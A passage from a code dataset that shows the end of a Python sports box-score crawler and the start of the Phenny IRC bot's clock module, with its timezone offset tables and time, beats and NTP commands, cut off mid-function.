gamelink = urljoin(domain, url)\n log(\"{} {} {} {} {} {}\".format(sport, year, division, org, game, dumpURL(gamelink)))\n print2(\"Parsing...\")\n\n gamescore = loadTable(filename.format(\"Score\"))\n\n sfilename = filename.format(\"Box Score - {}\")\n teams = [gamescore[1][0], gamescore[2][0]]\n with open(filename.format(\"Box Score - All (Parsed)\"), \"w\") as af:\n for team in teams:\n boxScore = parseBoxScore(\n sfilename.format(team),\n filename.format(\"Info\"),\n team,\n \"All\"\n )\n\n rawDumpTable(boxScore[(0 if team == teams[0] else 1):], af)\n\n sfilename = filename.format(\"Play by Play - {}\")\n periods = gamescore[0][1:]\n with open(filename.format(\"Play by Play - All (Parsed)\"), \"w\") as af:\n for period in periods[:-1]:\n playByPlay = parsePlayByPlay(\n sfilename.format(period),\n period,\n filename.format(\"Info\")\n )\n\n rawDumpTable(playByPlay[(0 if period == periods[0] else 1):], af)\n\n setFlag(\".parsed\")\n except Exception as e:\n print2(colored(\"Error: \", \"red\"), e)\n finally:\n print2()\n\nif __name__ == \"__main__\":\n crawl(*sys.argv[1:])\n","sub_path":"gameworker.py","file_name":"gameworker.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"546919955","text":"#!/usr/bin/env python\n\"\"\"\nclock.py - Phenny Clock Module\nCopyright 2008-9, Sean B. Palmer, inamidst.com\nLicensed under the Eiffel Forum License 2.\n\nhttp://inamidst.com/phenny/\n\"\"\"\n\nimport re\nimport math\nimport time\nimport locale\nimport socket\nimport struct\nimport datetime\nimport web\nfrom decimal import Decimal as dec\nfrom tools import deprecated\nfrom lxml import html\n\nTimeZones = {'KST': 9, 'CADT': 10.5, 'EETDST': 3, 'MESZ': 2, 'WADT': 9, \n 'EET': 2, 'MST': -7, 'WAST': 8, #This is wrong... WAST is UTC +2\n 'IST': 5.5, 'B': 2, \n 'MSK': 3, 'X': -11, 'MSD': 4, 'CETDST': 2, 'AST': -4, \n 'HKT': 8, 'JST': 9, 'CAST': 9.5, 'CET': 1, 'CEST': 2, \n 'EEST': 3, 'EAST': 10, 'METDST': 2, 'MDT': -6, 'A': 1, \n 'UTC': 0, 'ADT': -3, 'EST': -5, 'E': 5, 'D': 4, 'G': 7, \n 'F': 6, 'I': 9, 'H': 8, 'K': 10, 'PDT': -7, 'M': 12, \n 'L': 11, 'O': -2, 'MEST': 2, 'Q': -4, 'P': -3, 'S': -6, \n 'R': -5, 'U': -8, 'T': -7, 'W': -10, 'WET': 0, 'Y': -12, \n 'CST': -6, 'EADT': 11, 'Z': 0, 'GMT': 0, 'WETDST': 1, \n 'C': 3, 'WEST': 1, 'CDT': -5, 'MET': 1, 'N': -1, 'V': -9, \n 'EDT': -4, 'UT': 0, 'PST': -8, 'MEZ': 1, 'BST': 1, \n 'ACS': 9.5, 'ATL': -4, 'ALA': -9, 'HAW': -10, 'AKDT': -8, \n 'AKST': -9, \n 'BDST': 2, 'KGT': 6}\n\nTZ1 = {\n 'NDT': -2.5, \n 'BRST': -2, \n 'ADT': -3, \n 'EDT': -4, \n 'CDT': -5, \n 'MDT': -6, \n 'PDT': -7, \n 'YDT': -8, \n 'HDT': -9, \n 'BST': 1, \n 'MEST': 2, \n 'SST': 2, \n 'FST': 2, \n 'CEST': 2, \n 'EEST': 3, \n 'WADT': 8, \n 'KDT': 10, \n 'EADT': 13, \n 'NZD': 13, \n 'NZDT': 13, \n 'GMT': 0, \n 'UT': 0, \n 'UTC': 0, \n 'WET': 0, \n 'WAT': -1, \n 'AT': -2, \n 'FNT': -2, \n 'BRT': -3, \n 'MNT': -4, \n 'EWT': -4, \n 'AST': -4, \n 'EST': -5, \n 'ACT': -5, \n 'CST': -6, \n 'MST': -7, \n 'PST': -8, \n 'YST': -9, \n 'HST': -10, \n 'CAT': -10, \n 'AHST': -10, \n 'NT': -11, \n 'IDLW': -12, \n 'CET': 1, \n 'MEZ': 1, \n 'ECT': 1, \n 'MET': 1, \n 'MEWT': 1, \n 'SWT': 1, \n 'SET': 1, \n 'FWT': 1, \n 'EET': 2, \n 'UKR': 2, \n 'BT': 3, \n 'ZP4': 4, \n 'ZP5': 5, \n 'ZP6': 6, \n 'WST': 8, \n 'HKT': 8, \n 'CCT': 8, \n 'JST': 9, \n 'KST': 9, \n 'EAST': 10, \n 'GST': 10, \n 'NZT': 12, \n 'NZST': 12, \n 'IDLE': 12\n}\n\nTZ2 = {\n 'ACDT': 10.5, \n 'ACST': 9.5, \n 'ADT': 3, \n 'AEDT': 11, # hmm\n 'AEST': 10, # hmm\n 'AHDT': 9, \n 'AHST': 10, \n 'AST': 4, \n 'AT': 2, \n 'AWDT': -9, \n 'AWST': -8, \n 'BAT': -3, \n 'BDST': -2, \n 'BET': 11, \n 'BST': -1, \n 'BT': -3, \n 'BZT2': 3, \n 'CADT': -10.5, \n 'CAST': -9.5, \n 'CAT': 10, \n 'CCT': -8, \n # 'CDT': 5, \n 'CED': -2, \n 'CET': -1, \n 'CST': 6, \n 'EAST': -10, \n # 'EDT': 4, \n 'EED': -3, \n 'EET': -2, \n 'EEST': -3, \n 'EST': 5, \n 'FST': -2, \n 'FWT': -1, \n 'GMT': 0, \n 'GST': -10, \n 'HDT': 9, \n 'HST': 10, \n 'IDLE': -12, \n 'IDLW': 12, \n # 'IST': -5.5, \n 'IT': -3.5, \n 'JST': -9, \n 'JT': -7, \n 'KST': -9, \n 'MDT': 6, \n 'MED': -2, \n 'MET': -1, \n 'MEST': -2, \n 'MEWT': -1, \n 'MST': 7, \n 'MT': -8, \n 'NDT': 2.5, \n 'NFT': 3.5, \n 'NT': 11, \n 'NST': -6.5, \n 'NZ': -11, \n 'NZST': -12, \n 'NZDT': -13, \n 'NZT': -12, \n # 'PDT': 7, \n 'PST': 8, \n 'ROK': -9, \n 'SAD': -10, \n 'SAST': -9, \n 'SAT': -9, \n 'SDT': -10, \n 'SST': -2, \n 'SWT': -1, \n 'USZ3': -4, \n 'USZ4': -5, \n 'USZ5': -6, \n 'USZ6': -7, \n 'UT': 0, \n 'UTC': 0, \n 'UZ10': -11, \n 'WAT': 1, \n 'WET': 0, \n 'WST': -8, \n 'YDT': 8, \n 'YST': 9, \n 'ZP4': -4, \n 'ZP5': -5, \n 'ZP6': -6\n}\n\nTZ3 = {\n 'AEST': 10, \n 'AEDT': 11\n}\n\n#TimeZones.update(TZ2) # do these have to be negated ?\nTimeZones.update(TZ1)\nTimeZones.update(TZ3)\n\nr_local = re.compile(r'\\([a-z]+_[A-Z]+\\)')\n\ndef f_time(phenny, input): \n \"\"\"Returns the current time.\"\"\"\n tz = input.group(2) or 'GMT'\n\n # Personal time zones, because they're rad\n if hasattr(phenny.config, 'timezones'): \n People = phenny.config.timezones\n else: People = {}\n\n if tz in People: \n tz = People[tz]\n elif (not input.group(2)) and input.nick in People: \n tz = People[input.nick]\n\n TZ = tz.upper()\n if len(tz) > 30: return\n\n if (TZ == 'UTC') or (TZ == 'Z'): \n msg = time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())\n phenny.reply(msg)\n elif r_local.match(tz): # thanks to Mark Shoulsdon (clsn)\n locale.setlocale(locale.LC_TIME, (tz[1:-1], 'UTF-8'))\n msg = time.strftime(\"%A, %d %B %Y %H:%M:%SZ\", time.gmtime())\n phenny.reply(msg)\n elif TZ in phenny.clock_data: \n offset = phenny.clock_data[TZ] * 3600\n timenow = time.gmtime(time.time() + offset)\n msg = time.strftime(\"%a, %d %b %Y %H:%M:%S \" + str(TZ), timenow)\n phenny.reply(msg)\n elif tz and tz[0] in ('+', '-') and 4 <= len(tz) <= 6: \n timenow = time.gmtime(time.time() + (int(tz[:3]) * 3600))\n msg = time.strftime(\"%a, %d %b %Y %H:%M:%S \" + str(tz), timenow)\n phenny.reply(msg)\n else: \n try: t = float(tz)\n except ValueError: \n import os, re, subprocess\n r_tz = re.compile(r'^[A-Za-z]+(?:/[A-Za-z_]+)*$')\n if r_tz.match(tz) and os.path.isfile('/usr/share/zoneinfo/' + tz): \n cmd, PIPE = 'TZ=%s date' % tz, subprocess.PIPE\n proc = subprocess.Popen(cmd, shell=True, stdout=PIPE)\n phenny.reply(proc.communicate()[0])\n else: \n error = \"Sorry, I don't know about the '%s' timezone.\" % tz\n phenny.reply(error)\n else: \n timenow = time.gmtime(time.time() + (t * 3600))\n msg = time.strftime(\"%a, %d %b %Y %H:%M:%S \" + str(tz), timenow)\n phenny.reply(msg)\nf_time.name = 'time'\nf_time.commands = ['time']\nf_time.example = '.time UTC'\n\ndef beats(phenny, input): \n \"\"\"Shows the internet time in Swatch beats.\"\"\"\n beats = ((time.time() + 3600) % 86400) / 86.4\n beats = int(math.floor(beats))\n phenny.say('@%03i' % beats)\nbeats.commands = ['beats']\nbeats.priority = 'low'\n\ndef divide(input, by): \n return (input // by), (input % by)\n\ndef yi(phenny, input): \n \"\"\"Shows whether it is currently yi or not.\"\"\"\n quadraels, remainder = divide(int(time.time()), 1753200)\n raels = quadraels * 4\n extraraels, remainder = divide(remainder, 432000)\n if extraraels == 4: \n return phenny.say('Yes! PARTAI!')\n elif extraraels == 3:\n \t return phenny.say('Soon...')\n else: phenny.say('Not yet...')\nyi.commands = ['yi']\nyi.priority = 'low'\n\ndef tock(phenny, input): \n \"\"\"Shows the time from the USNO's atomic clock.\"\"\"\n info = web.head('http://tycho.usno.navy.mil/cgi-bin/timer.pl')\n phenny.say('\"' + info['Date'] + '\" - tycho.usno.navy.mil')\ntock.commands = ['tock']\ntock.priority = 'high'\n\ndef npl(phenny, input): \n \"\"\"Shows the time from NPL's SNTP server.\"\"\"\n # for server in ('ntp1.npl.co.uk', 'ntp2.npl.co.uk'): \n client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n client.sendto(b'\\x1b' + 47 * b'\\0', ('ntp1.npl.co.uk', 123))\n data, address = client.recvfrom(1024)\n if data: \n buf = struct.unpack('B' * 48, data)\n d = dec('0.0')\n for i in range(8):\n d += dec(buf[32 + i]) * dec(str(math.pow(2, (3 - i) * 8)))\n d -= dec(2208988800)\n a, b = str(d).split('.')\n f = '%Y-%m-%d %H:%M:%S'\n result = datetime.datetime.fromtimestamp(d).strftime(f) + '.' + b[:6]\n phenny.say(result + ' - ntp1.npl.co.uk')\n else: phenny.say('No data received, sorry')\nnpl.commands = ['npl']\nnpl.priority = 'high'\n\ndef time_zone(phenny, input):\n \"\"\"Usage: .tz